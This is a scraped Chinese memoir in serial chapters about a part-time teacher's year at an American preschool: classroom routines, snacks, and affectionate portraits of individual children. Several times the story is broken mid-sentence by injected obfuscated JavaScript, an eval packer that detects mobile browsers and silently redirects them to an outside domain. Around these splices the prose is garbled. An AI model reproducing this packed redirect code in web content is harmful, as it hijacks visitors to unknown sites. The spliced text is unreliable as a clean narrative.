当关门老师主持下午最后一次集体活动时,兼职老师准备第二天早上的玩具、与来接孩子的家长进行交接、帮助孩子说再见。家长会想在一天结束时和你交谈,如果可以的话这是与他们快速交谈的好时候,但维持班级秩序是你的第一要务。 下雨天: 教师在下雨天可以分组把孩子带出教室,在教学楼里、教师休息室或者南希的办公室散步、活动或做游戏。在自由活动的间隔穿插集体活动,集体活动应该包括大量譬如跳舞之类的动作,也可以在教室里将孩子分成两组,一组当表演者,一组当观众。 操场规则: 每一个有孩子的活动区域内必须有一位老师看顾,教师最好坐在事先决定的位置而非站着,因为这样对于操场上的活动能有更佳的视野,孩子也更容易立刻找到老师。除非有特定的活动,教师应避免聚集在一个区域。 当孩子使用大型攀爬设施时,应有至少一名教师全程站立看顾。 与家长的互动: 家长是整个系统不可或缺的一份子,学校欢迎家长来教室并敦促和鼓励家长尽可能多地参与进来,而员工和家长之间自由开放的沟通交流则是这一努力的关键。欢迎家长任何时候来学校参观,如果家长想组织一次特别的活动,请与教师商议安排双方都方便的时间。除此之外我们鼓励与家长之间的日常交流,邀请家长与我们分享任何有关于孩子或学校项目的担心或想法。我们觉得学校与家长之间开诚布公的交流将会为所有人提供正面的经验。 62. 第四章 教室里的小厨房 新幼儿园虽然看上去有些陈旧,每间教室却都配备有一个冰箱、一个食品橱、一个微波炉、一个小烤箱、一只小电炉和一些厨具,足够做些简单的餐食。冰箱旁的墙上贴着几十种食物的照片,包括各类水果、蔬菜、干果、奶制品和主食,这些都是孩子们每天轮换着吃的零食。行政团队的工作人员会每两周开着面包车去采购各种食物回来,其中大部分都是有机食物,然后堆放在走廊里由各班老师带着孩子们去领取。 我的工作职责之一就是准备每天下午孩子起床后最复杂的那顿零食,每一顿都要包含一种主食、奶制品、新鲜蔬果或干果,主食的选择有:英式小松饼上下切成两片,每一片抹上番茄酱再撒一层奶酪放入烤箱里烘烤成自制迷你披萨;墨西哥薄饼铺上厚厚一层奶酪丝,再盖上另一张薄饼放进烤箱烤到外皮微微焦脆里面奶酪熔化,然后切成一个个小三角;意大利通心粉煮熟趁热拌上奶酪粉做成拉丝的奶酪通心粉;附近一家面包店每周会把卖剩的面包免费送给幼儿园,可以切片抹上果酱做成三明治;简单一点就苏打饼干夹杏仁酱、消化饼干配鹰嘴豆泥、爆米花饼蘸花生酱、贝果抹酸奶油;偶尔其他老师还会提前准备一些美式蓝莓松饼或者用熟透的香蕉加面粉、鸡蛋、白糖让孩子们一起帮忙烤一个香蕉蛋糕。 蔬菜则包括黄瓜、甜椒、甜豌豆荚、芹菜和迷你胡萝卜,黄瓜切片,芹菜切成手指长的小段配上蘸酱,色彩鲜艳的甜椒去籽横切成一个个形状好看很受孩子喜爱的小圈圈,每顿零食选择一种不同的蔬菜,每次每个孩子定量两三块蔬菜或五六个甜豌豆荚;水果则有橙子、苹果、香蕉、草莓、蓝莓、奇异果、西瓜等,洗净切块每个孩子两三块水果、两颗草莓或一勺蓝莓,如果是苹果泥就每人两勺分装在小纸杯里;干果有葡萄干、杏脯和芒果干,一个孩子一勺葡萄干、两三颗杏脯或一两片芒果干,香甜可口的芒果干是孩子们的最爱,每次吃到他们都会特别开心好像过节一样;奶制品早上有牛奶,下午主要是奶酪,包括切成小块直接吃的干奶酪、洒在面饼上烤的湿奶酪丝和掺在通心粉里的奶酪粉等多种形式。 墙上除了各种食物的照片,还有一些上面画着若干小黑点和小勺子的卡片,吃零食前老师会把食物照片贴在一块小塑料板上,旁边贴上相应的数量卡片,比如三片黄瓜就在黄瓜的照片旁边贴一张上面画着三个小黑点的卡片,一勺葡萄干就在葡萄干的照片旁边贴上画着一只小勺子的卡片,然后把塑料板、准备好的零食和一次性纸盘放在冰箱旁的一个小圆桌上让孩子自取。每一张孩子就餐的桌子中间则事先放好装满水的水壶、一次性纸杯和放叉子的小框让孩子们为自己服务。孩子们吃完会起身把自己面前收拾干净,脏餐具放进洗碗池,椅子推进桌肚,并从一只小篮子里拿出一枚贴纸贴在冰箱上自己的名字旁边,表示已经用过零食了。 民以食为天,只有从小吃得营养健康才能拥有强健的体魄,为将来要面对的漫长而辛苦的人生打下坚实的基础,与前幼儿园的孩子每天吃四顿饼干相比,这里的孩子伙食好得简直像活在天堂里。这家幼儿园的校长们自己在老旧狭小的办公室里工作,却愿意在这种看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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中班里有两对双胞胎小姐妹,露娜和露西是其中一对,露娜较为沉静,对任何事好像都迷迷糊糊的,露西则比较活泼,一见到我就会皱着眉头语速又快又急地一叠声对我说:“我爱你,我太爱你了!”因为两个孩子长得一模一样,老师们经常分不清她俩,可我总能一眼看出来,还向他们解释:“露娜的表情总像在做梦,露西的脸像一只小猫。” 洛霖和欧妮则是一对长得完全不一样的双胞胎小姐妹,洛霖金发碧眼,眼睛圆圆的较为深邃,扎着两根细细的小辫子;欧妮一双狭长的棕色眼睛,栗色头发又粗又长,在脑后束成低低的两把,显得有点老气。不过两个孩子的外形轮廓很相似,都是大大的脑门,肉嘟嘟的圆脸蛋,小肚子鼓鼓的,还未脱婴儿的体态。我对她俩的最初印象是觉得她们长得特别可爱,尤其是洛霖,笑起来咧着嘴露出两颗大门牙,好像明信片上的卡通小宝宝穿越次元壁来到了现实世界。 小姐妹俩每天午睡也睡得像两个婴儿那么香,看上去让人感到特别治愈,不过她们的心理十分敏感娇弱,学年刚开始的时候常常一睡醒就想爸爸妈妈,一个哭另一个也跟着哭,泪水涟涟,眼泪就像断线的珠子似的啪啪往下掉,边哭还边说“我们想要我们的妈咪和爹地”,简直跟两个活娃娃似的,让人忍不住疼惜。 有趣的是欧妮在哭的时候如果问她问题她总是有问必答,比如问她:“你先把鞋穿上好吗?”她会嚎啕着回答:“好的——”,然后一边哭一边穿鞋。 洛霖的情绪要更严重一些,哭的时候除了她的小姐妹之外与其他人比较难交流,有一次还因为发烧哭着吐了卡伦一身。 后来老师们想了个办法,把幼儿园每天所有流程的照片打印在一张纸上发给洛霖和欧妮,让她们每做完一件事就用笔划掉一张照片,这样当所有照片都划完的时候就说明一天结束了,爸爸妈妈要来接她们回家了,从那以后两个小姐妹无论走到哪儿手里都会紧紧攥着一张纸。 有一次欧妮午睡起来因为想念爸爸妈妈又开始默默流泪,眼泪滴到纸上,她惊慌失措地大哭起来,把纸伸到我面前说:“纸湿了!”却因为大哭把纸弄得更湿了,简直萌到不行。我只好向她解释:“只有停止哭泣才能不让纸湿。” 过了一段时间她俩渐渐适应了新的班级,哭得越来越少(偶尔想起来还是会稍微哭一哭),洛霖比欧妮适应得要更快一些,有一次欧妮想起爸爸妈妈又伤心地哭起来,洛霖就拿着自己的纸很积极地安慰欧妮:“欧妮,你看,还有一个、两个、三个事情爹地和妈咪就来接我们了。” 她看见欧妮仍然在哭就又重复了一遍。 欧妮边哭边说:“我已经知道了。” 我于是对洛霖说:“欧妮已经知道了,她只是觉得难过想哭一哭,这没有关系。” 学年前期和中期两个小姐妹总是形影不离,特别相亲相爱,欧妮的心比较细腻,喜欢黏着洛霖,洛霖的性格则比较粗线条,喜欢探索未知的事物。我有时候会脑洞大开地想象:这对双胞胎仿佛上一辈子是一对老夫妇,一起投胎转世成了双胞胎,欧妮无论长相和性格都像个老奶奶,对人微笑的样子也像个和善的老奶奶,而洛霖的性格和行为则像个老爷爷,对其他人总是一副不太在意的样子。 两个孩子虽然年纪小样子萌,说话做事却很有逻辑,头脑极其清楚,尤其是欧妮,不仅口齿特别清晰,说话的语气也总是老气横秋,有时候甚至显得有些多疑,绝对别想糊弄她。 有一天午睡时杜冰给没睡觉的孩子发故事书看,欧妮把得到的那本书放在一旁说想带回家看,我告诉她:“教室里的书是不能带回家的。” 她疑惑地看着我说:“我想是杜冰在管书,我应该问她。” 我只得笑着向她解释:“杜冰只是把书发给你们。” 另一次我给欧妮涂防晒霜的时候她突然对我说:“你的晒伤好多了。” 我说:“是啊,下星期你再见到我的时候大概就好了。” 那是我周末去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437827|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海滩时不小心晒伤的,小姐妹只在每个星期一、三、五来幼儿园,星期一的时候她们看见我脖子上的晒伤曾好奇地问过一次,没想到星期五欧妮还记得,我不免惊叹于小朋友的细心和对我的关心。 洛霖则很喜欢在没事的时候自编歌曲,比如配上简单幼稚的曲调唱“爸爸和妈妈在一天结束的时候就会来接我们”,我忍不住想:才三岁的小孩子就会作词作曲表达自己了,长大说不定能成为词曲创作人呢。 我有时也随口编几句词唱给洛霖听,她特别高兴,开心地大笑,露出参差不齐的上牙,我又忍不住在心里偷偷想:哟,这孩子笑起来好像有点丑嘛,还是哭的时候比较可爱。 某天小姐妹午睡了很久,起床后发现零食桌上的奶酪通心粉只剩下一碗了,我有些担心地问她们应该怎么办,欧妮立刻说:“我们可以分享。” 洛霖也很高兴地附和:“对,我们可以分享。” 我没想到问题这么容易就解决了,两个孩子如此善良和正面,于是很开心地拿了一个空碗帮她们把本就不多的食物分成两份。 吃完零食带她们去厕所,她俩一边上厕所一边兴奋地谈论着洛霖比欧妮早出生一分钟,洛霖笑着对我说:“那时候妈妈的肚子就是我们的房子,”又把手一摊,“但问题是房子里面没有食物。” 我向她们解释:“有一根管子把你们的肚脐和妈妈连着,妈妈吃东西的时候就会给你们营养。” 欧妮补充道:“是脐带。” 洛霖大声说:“我们从妈妈的□□得到牛奶之前就是那样得到食物的。”一边还伸出手指头戳了一下自己的□□,天真无邪的模样实在可爱。 秋天到了,树叶落了一地,欧妮抓起一把叶子揉在洛霖的肚子上,因为觉得有趣咯咯地笑,洛霖也笑着说:“欧妮,请不要再这么做了。” 欧妮笑着回答:“好的。” 我在旁边看着,觉得两个孩子讲道理不情绪化,开开心心就把矛盾解决了,真好! 64. 第六章 萌娃小让 让是一个自带萌点的小男孩,金色的头发,清秀的五官,长得有点像《成长的烦恼》里小时候的本恩,我总觉得他的身材比例和别的孩子有点不一样,似乎脖子有点短,身体与脑袋相比显得有点小,腿也有点短,两只手又肉乎乎的,看上去很卡通,显得特别萌,不过他爸爸是胖胖的五短身材,所以我担心他长大后可能会长成他爸爸那样的身材。 让的爸爸来接他时脖子上总是挂着一幅耳机,一边走一边宠爱地远远喊着:“让让小方糖!”有时候让的小姐姐若莉跟着爸爸一起来接他,眼神里也总是充满对自己小弟弟的喜爱。 让平时无论在教室里还是操场上总是忙忙叨叨的,小小的身影像一只小蜜蜂一样动个不停,有一段时间他的一只手臂骨折了,打了一个小小的石膏,那是我见过最小的石膏,上面还依循美国的传统写上了几句“祝你早日康复”之类的话,不过打着石膏的小让照旧玩球推车打架一样不落,常常看得我心惊肉跳。 让很喜欢和老师讨价还价,如果告诉他某条规矩,他会缠着老师不停地问:“为什么?我为什么不能那样做?”这一点搞得总是一板一眼的杜冰很是头疼。 让为了达到自己的目的偶尔撒起谎来也是毫不犹豫,冬天他想戴学校的公用手套,就向我谎称自己没有手套,杜冰立刻在旁边戳穿他:“不,你有手套。” 让于是眼泪汪汪地不停对我说“我就是没有手套,我没有撒谎”,那模样仿佛受了天大的冤屈,直到我说“好好好”才肯罢休,哪怕他的手套就明晃晃地躺在他的柜子里,杜冰为此很不喜欢他。 让还喜欢用彩色的磁力板搭房子,和班上的另一个小男孩鲍勃因为争夺磁力板发生过几次冲突。鲍勃的爸爸妈妈离婚了,他爸爸来接他的时候经常和儿子一起在教室里玩很久也不走,班上老师在背后对此多有诟病。有一次鲍勃又和让争抢一块磁力板,鲍勃混不吝的爸爸竟然加入战局从让手里抢玩具给自己的儿子,另一次鲍勃从正在搭房子的让手里抢走几块磁力板,让哭叫着要夺回来,鲍勃的爸爸就很不爽地从鲍勃手里一把拿过磁力板丢还给让,我在旁边看得目瞪口呆。 刚刚被成年人欺负的还不到四岁的小让一边擦着眼泪说“我刚才在用”,一边坚强地继续着自己的“建筑”,我不禁对他满是心疼,却对教室里多出来的这个不懂事的大人无可奈何。 不知道让的舌头发育是不是有些问题,他喝水不像别的孩子那样张大嘴,而是嘴巴微微张开舌头露在前面像小狗似地舔水,说话时辅音字母的发音也是完全随心所欲,还总喜欢“侃侃而谈”,我经常听不懂他在说什么,搞得他小人家还很不耐烦,我只好无奈地笑着叹一口气说:“让,我到底什么时候才能听懂你在说什么呢?”神奇的是班上的其他小朋友和他沟通起来却完全没有障碍,甚至还时常充当我和让之间的翻译,帮忙解释他表达的意思。 有一次让对我说:“我姐姐的名字叫落莉。” 我有些疑惑地重复着:“落莉?” 他很不耐烦地纠正我:“不对,是落莉!” 我又尝试了几遍,他都说“不对不对”,当我说到“若莉”时他终于满意了——看来他只是发音有问题,听力一点问题也没有呀! 另一次让的爸爸来接他时我正在给小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437828|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友读故事书,让突然问我:“你的猪是从哪里拿的?” 我一头雾水,他爸爸却很自然地在旁边对他说:“可能是从书架上拿的。” 我这才明白他是问我的“书”是从哪里拿的。 时间长了,我渐渐摸索出原来小让的发音并非随心所欲,而是有他自己严格的系统性的,所有的/sh/都发成/zh/,/t/发成//q/,/r/发成/l/,比如他自己的名字“让”在他嘴里就成了“浪”。 有一次我故意逗他:“让,你叫什么名字?” 他立刻不假思索地回答:“浪。” 我脸上不动声色,心里都快笑抽筋了。 经常听见让在操场上大声招呼同伴:“嗨,伙弟们!”有时还学着大人的样子表达对其他孩子的无奈:“噢,我的千哪!”——“伙计们”成了“伙弟们”,“我的天哪”成了“我的千哪”,再配上他又急又快的语速和脆生生的音色,实在把人给萌坏了,杜冰对他说话的评论是“像个小机器人”。 当大家一起坐在地毯上听故事的时候,让常常会毫不客气地一屁股坐到我或其他老师腿上,不得不承认被这么个小小的萌娃强制坐腿还是很享受的。某天让又跑到我腿上来坐,一边玩着我的手机给小朋友拍照,然后突然站起来说:“彦岚,我需要先去拉屎然后再用你的手机拍照片。”亏他自说自话还理直气壮一气呵成,又补充道:“不要告诉别人。” 我问:“为什么?”。 他凑到我耳边小声说:“因为这是个必必(秘密)。” 我简直要笑死了——孩子,你怎么可以这么萌? 65. 第七章 法国小姑娘 玛蒂尔就是面试时坐在我腿上依依不舍抱着我问“你还会再回来吗”的那个小姑娘,我因此对她印象十分深刻,觉得为了这么可爱的孩子也值得接受这份工作,她一头金色的小卷毛,脸蛋和胳膊都肉肉的,外形轮廓很像三十年代的美国童星秀兰顿波尔,属于第一眼就很吸引人眼球招人疼的类型。 正式上班第一天我特别期盼着与玛蒂尔的重逢,仿佛想给她一个惊喜:“你不是问我还会不会回来吗?看,我又回来了!” 可实际情况却完全出乎我的预料,她似乎全然忘记了之前的依依不舍,对我直接无视甚至很无礼,在我几次催促她收拾好玩具去操场时呵斥我“闭嘴”,我这才发现这个外表可爱的小姑娘骨子里势利的一面,见我只是个兼职老师便轻视我,小小年纪就会看人下菜碟有了分别心,实在令人大失所望。别看玛蒂尔对我势利,如果被其他老师批评了或是被别的孩子欺负了,又缩着脖子揣着手一副怂包的样子,所以后来很长一段时间我在心里都不太喜欢她。 但是玛蒂尔的外形确实招人喜爱,时常有家长来接自己孩子时会忍不住逗玛蒂尔说上几句话,卡伦和嘉娜也对她别有偏爱,尤其卡伦常常把她抱在腿上逗弄,能看出来玛蒂尔是班上孩子里卡伦最喜欢的一个。 玛蒂尔的爸爸妈妈都是法国人,爸爸长长的眼睛,长长的下巴,薄薄的嘴唇,总是微笑着,典型法国人轻松俏皮的性格;妈妈一头栗色的短卷发,和玛蒂尔长得很像,但不知是否因为生过两个孩子显得有些大妈相,今年她又给玛蒂尔添了个弟弟,生产前几天还挺着大肚子来接玛蒂尔放学,生产后一个星期又跟没事人一样来接孩子了,实在是非常厉害。 玛蒂尔有个十来岁的小姐姐,有一次和妈妈一起来学校接玛蒂尔,只见她身材纤细挺拔,一头细软的金色直发用一根缎带低低扎在脑后,身穿一件修身连衣裙,脚登一双时髦的浅口皮鞋,小小年纪已然一副充满淑女气质的打扮,令人忍不住想多看两眼,同时感叹法国人在穿着打扮上的讲究。 玛蒂尔年纪尚幼,经常穿可爱型的蓬蓬裙或小短裙配裤袜,有时会在外面罩一件略显淑女味的毛线小开衫,还时常斜背着一只很洋气的小皮包来学校,里面装着各种闪亮时髦的小玩意儿。 陪班上孩子玩的时候我偶尔会给他们折纸飞机,或是在纸上画些蝴蝶、小房子之类的简笔画,玛蒂尔很喜欢画画,后来跟我熟了就有些不好意思地笑着让我帮她画各种食物,每一次都是固定的热狗、薯条、美奶滋、番茄酱、炸鸡块、冰淇淋、巧克力、草莓和蓝莓,乐此不疲。 我画画其实也就是小学生水平,许多东西只能画个大概,比如炸鸡块就画一个不规则的方块代替,蓝莓就画几个涂黑的小圆圈,神奇的是玛蒂尔却总能运用自己的想象力把这些方块和圆圈想象成可口的食物,甚至仿佛已经闻到了香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437829|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,一边聚精会神地扒在旁边看我画画一边咂巴着嘴满是渴望的样子,口水都快要流出来了。 有一次玛蒂尔从她的小皮包里掏出一个时髦花哨上面贴满水钻的小笔记本给我看,里面几乎每一页都被她画满了各种东西,当然也包括各种食物,我不禁惊诧于这个小女孩的创意和天马行空,也佩服法国父母能让三四岁的孩子这样自由随意地画满一个昂贵的笔记本。 学年结束的最后一天卡伦不舍地把玛蒂尔抱在怀里坐了一会儿,嘉娜坐在一旁有些伤感地笑着问卡伦:“谁是你的真爱?”卡伦撇撇嘴没有说话。 下午我坐在操场沙池的木沿上看孩子,玛蒂尔没有去和喜欢她的老师亲热,却来到我身边坐下,我问她一些东西用法语怎么说,她就兴致勃勃地一个一个告诉我,还不停地要求“你再问我,你再问我”,一连说了十几个。 最后她说:“好了,我教了你这些你现在就会说法语了,这样以后你就可以去教别人了。”那语气仿佛是临别前的叮咛。 我不禁莞尔,她每个词只说一遍我当然不可能记得住,也不会因为这十几个词就掌握了一门语言,一面觉得她天真,一面又想其实很多东西对小孩子来说真的只要一遍就记住了,他们的学习能力实在比成年人强太多了。 就在那天我感受到了玛蒂尔的可爱,也许我对她一直误会太深,而她也并没有我想象中的那样不喜欢我吧。 66. 第八章 大卫的成长 大卫是个很难被忽略掉的小男孩,一头黑卷发,高高的额头,瞪得大大的眼睛,红扑扑像苹果似的脸蛋,小鸟一样总是撅着的嘴巴,长得非常可爱。他的爸爸高高瘦瘦戴一副眼镜,妈妈长得有点像英国的凯特王妃,还有一个在我们学校上学前班的小哥哥,小小年纪俨然已经出落成了一枚小帅哥。 起初我被大卫的长相迷惑,以为他的性格也很可爱,可是很快就发现他原来竟是个“刺头”,经常在教室里乱跑乱动不听指挥,老师试图接近他的时候他还笑着到处躲避以为很好玩,实在令人头痛。 有一次其他孩子都在排队准备上厕所,大卫却独自跑开去玩桌上的玩具,我让他把玩具放下他也坚决不听,我情急之下把玩具从他手里拿走,他立刻坐在地上大哭着喊“妈妈”,惹得刚好经过门外的南希皱着眉头进来过问,似乎担心我受中国传统观念影响对孩子过于严厉做出不恰当的举动。 我这才意识到在美国幼儿园里孩子如果突然哭是一件挺严重的事,说明一定有什么地方出了问题,在我小时候的记忆里小孩子好像总是在哭的,但是来美国以后却很少看到孩子哭(听说现在中国也很少有小孩哭了),这才明白如果舒舒服服的需求得到满足,小孩子原来是不哭的。 我吓了一跳,以为会像在前幼儿园那样要有麻烦了,还好教室里的其他老师都公认大卫是个难搞的小孩,南希就没再多说什么。事后我反思自己也有些问题,不应该把玩具直接从大卫手里拿走,回想其他老师好像从来不会上手而总是让孩子自己把玩具放到一边,我刚才确实有些急躁,担心无法顺利完成带所有孩子上厕所的工作,动作上就强势了些,小孩子立刻敏感地接收到我的情绪,否则可能也不会哭。 每次教师会议班上的老师们总会专门拿出一大块时间向南希讨教怎么“对付”大卫,南希将大卫称作班里的“害虫”,建议“如果下次他再乱跑就从后面抱住他”。 于是当大卫又不听话乱跑的时候我就现学现卖从后面把他抱住,没想到小家伙居然埋着头皱着眉咬着牙撑着两只胳膊肘左扭右扭,十分认真地奋力从我怀里挣脱,仿佛我是个要绑架他的坏人。 再开教师会议时我又问南希该怎么办,南希说:“如果再遇到这种情况就喊力气大的男老师或男杂工来抱住他。” 就这样大卫很快失去了所有老师的宠爱和小伙伴们的认同,在被罚静坐和送到校长办公室几次之后,他终于渐渐学乖,开始遵守幼儿园的规则。 有时候大卫会竖着一根没有任何伤口的手指跑到老师面前抱怨:“我的手指头疼,我要贴一个创可贴。” 其他老师都不会理踩他,不过这在我看来并不是什么大不了的事,就在他来找我的时候满足了他的小心愿,再向来接大卫的爸爸妈妈解释一下原因以免他们担心。 不知道是不是因为我对他比较有耐心,大卫与我倒挺亲近,时常在上厕所或在操场上的时候坐在马桶上或跑到我面前来,瞪着无辜的大眼睛撅着嘴对我说东道西问这问那,他的话经常让我笑掉大牙,比如他会很认真地对我说:“我三岁,我妈妈六岁,我爸爸二十岁,是我们家最高最老的。”又问我,“你多大?” 我于是大笑着说:“我七岁。”心里想这孩子可真是一脑子糨糊啊! 另一次卡伦给他扎了个冲天辫,他美滋滋地跑到教室里的穿衣镜前照,另一个孩子从他面前走过,他伸手就把人家猛地推倒了,我批评他他还大言不惭:“因为我正在镜子里看我有多漂亮,他把我挡住了。” 大卫的种种行为让我觉得他是个完全没有被社会化好的典型,还人事不知,一切随心所欲,也丝毫不懂得隐藏自己的想法。 后来我无意中看见他掌心的智慧线和生命线居然都很深长,又发现他午睡时露在被子外面的小脚心上有一颗痣,就疑心这孩子难道将来会有所成就?意外之余开始试着放下对他的成见。 学年后期我渐渐发现大卫其实非常聪明,集体活动时一首歌曲播放几遍他就能跟着从头到尾唱下来,在其他孩子还坐在地毯上傻愣着的时候,只见他在孩子堆里摇头晃脑起劲又投入地跟着录音机放声歌唱,声音又亮又脆;告诉他的东西也只要说一遍他就记住了,比如有一次我对他说玩具盒里和恐龙放一起的不是“大象”而是“猛犸”,他不仅立刻记住还告诉其他小朋友,发音也很标准。 一天大卫在沙池里用塑料模具做了许多座小沙堡,一边做一边数数,一直数到十几个,还出言纠正其他乱数的小朋友,心里相当有数,到后来数不过来就让我帮他数并很快学会,一直坚持做了二十多个沙堡——对于三四岁的孩子来说,他的专注力、合作性以及做事的条理性和智力水平都相当令人瞩目,从那时起我就对他完全改观了。 我再问起他父母的年龄,他这回说:“我想我爸爸应该有三十多岁。”又问我,“三十多岁是不是比十八岁要大?” 可是他的城堡总是被在沙池里玩的其他孩子有意无意地踩坏,他先是出声警告,发现没用就生气地对其他孩子大声说:“噢,你又踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437830|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏了我的城堡,我太生气了!我太生气了!”却不再用手去推其他孩子,看来已经学会了用语言表达自己的情绪。 后来他想使用另两个孩子的工具被拒绝,就很生气地抱着胳膊冲那两个孩子嚷道:“哼,我是个超级超级大巨人!”又使劲把两只胳膊往身后一甩以表达自己的愤怒,然后转身跑掉了,那可爱的小模样令人忍俊不禁。 大卫的妈妈是一位十分聪慧优秀的女性,一次她来接大卫时看见大卫脸上有一点小伤,问我是怎么回事,我老实说自己只上半天班,不清楚情况,她就想等卡伦给孩子主持完集体活动再问问卡伦。我见她一直站在旁边等,有些于心不忍,便主动上前打断卡伦帮她问了,她立刻明白我刚才并非推卸责任,而是真心想要帮她,对我心怀感激,自此每次来接大卫都会笑着和我打招呼——我见过太多人因为我是兼职老师、少数族裔、娃娃脸而把我当作透明,也见过太多人把我的善意付出当作理所应当,对我的一点不周却耿耿于怀,可大卫的妈妈却能见微知著,识好坏,懂感激,实属难得,相信这样的母亲也一定会教育出优秀的孩子。 学年最后一天,大卫午睡起床后在教室里四处游荡,我让他收拾午睡时玩的玩具,他又表现出一副学年初耍赖的样子,我走过去抱起他,他怒目圆睁,眼看又想发飙,一时间剑拔弩张。 最后一天我不想和他闹得不愉快,但又不能放任不管,电光火石之间突然福至心灵,在他圆鼓鼓的脸蛋上亲了一口,然后把他放到玩具旁边说:“我来帮你一起收拾。” 大卫完全没想到我会这么做,一下子懵了,刚刚鼓起来的气也瘪了下去,然后像被施了魔法一般乖乖地收拾起玩具来,我的心里也热乎乎的——果然谁都无法拒绝爱的表示啊! 那天下午大卫突然对写单词很感兴趣,一个字母一个字母地问我怎么拼写,整整写满了两张纸,并且写得非常工整漂亮。 大卫升入大班后,偶尔我们在操场上相遇,他会跑到我身边瞪着大眼睛撅着嘴一声不响地站在那里,似乎想要些什么却又不知道该如何开口,我就会毫不吝啬地伸出双臂给他一个爱的抱抱,然后他就心满意足地跑开了。 一天我从学校走路回家,从小镇中心经过时突然在一家餐厅门口看见大卫和他的小哥哥,立刻开心地蹲下身和他俩拥抱,他们也热烈地回抱我。 我问他们:“你们的爸爸妈妈呢?” 大卫转身朝路边指了指,我一抬头,看见大卫的妈妈从车上下来,正微笑着向我挥手。 67.第九章 喜欢画蝴蝶的女孩 奥丽是一个长相和心理都很老成的小女孩,个子虽然娇小,身体比例却类似成年人,面庞带着些凌厉的感觉,看着她的脸我甚至可以想象她三十年后的长相,觉得应该和现在不会有太大变化。 有一次在操场上我说几个男孩用塑料锤子敲木屋的声音太响了,奥丽当时正像个大人似地和我并排坐在长凳上,突然幽幽地评论道:“这些家伙永远不知道什么是停止,如果我叫他们停下来他们只会更大声,所以我只好什么也不说。” 如此成熟又带些讽刺性的话语实在不像出自一个三四岁女孩之口,当时令我颇为惊讶。 另一次我在带一个孩子上厕所前对其他孩子说:“我们要有一次厕所旅行,谁需要去?” 奥丽来了一句:“我想要旅行,但是我不想上厕所。” 奥丽的爸爸亚当是个艺术家,会画很好看的卡通插画,曾在家长会的留言纸上随手勾勒出一幅女儿的卡通肖像。他每次来接奥丽时总是面带微笑,语气温和,非常宠爱地称奥丽为奥妮,提醒她和老师拥抱告别,我有时会不由自主地侧耳倾听父女俩的对话,亚当对奥丽似乎永远都是鼓励的语言,耐心回答女儿的一切问题,随时与她分享各种知识,仿佛想要时刻带女儿领略人生的美好,给爱女满满的正能量,令我忍不住羡慕,希望小时候也能够有一位这样的父亲。 奥丽从爸爸那里获得了满满的爱和安全感,情绪总是很稳定,几乎没见她为什么事哭闹过。一次一个孩子把用了一半的玩具丢在一旁,奥丽以为他不用了就拿过去,谁知那个孩子立刻一把将玩具夺过去,粗暴地冲奥丽吼道:“我还在用!”奥丽被吼得当场愣在那里。 一切发生得太快,在旁边目睹一切的我那时还不太有经验,一面担心地看着两个孩子,一面在头脑中迅速思索这种情况下正确的做法应该是什么,是帮奥丽解释她不知道那孩子在用玩具,还是要求那孩子对奥丽好好说话? 就在我犹豫的片刻,奥丽已经回过神来,转身蹦蹦跳跳地走开了,似乎心情根本未受到影响。我不禁松了一口气,一面惊讶居然还可以这样,一面对奥丽的行为心生喜爱,一面也受到奥丽的启发——原来在冲突面前轻松转身才是最高的解决问题之道。 奥丽继承了爸爸的艺术天分,很喜欢画画,并且配出来的颜色无师自通地特别好看,一开始她总喜欢让我给她画蝴蝶,我就在纸上画一只大大的蝴蝶轮廓让她填色,很快她开始自己尝试画各种不同的蝴蝶和许多其他东西。 学年结束时奥丽和班上几个比较成熟的孩子直接升入了学前 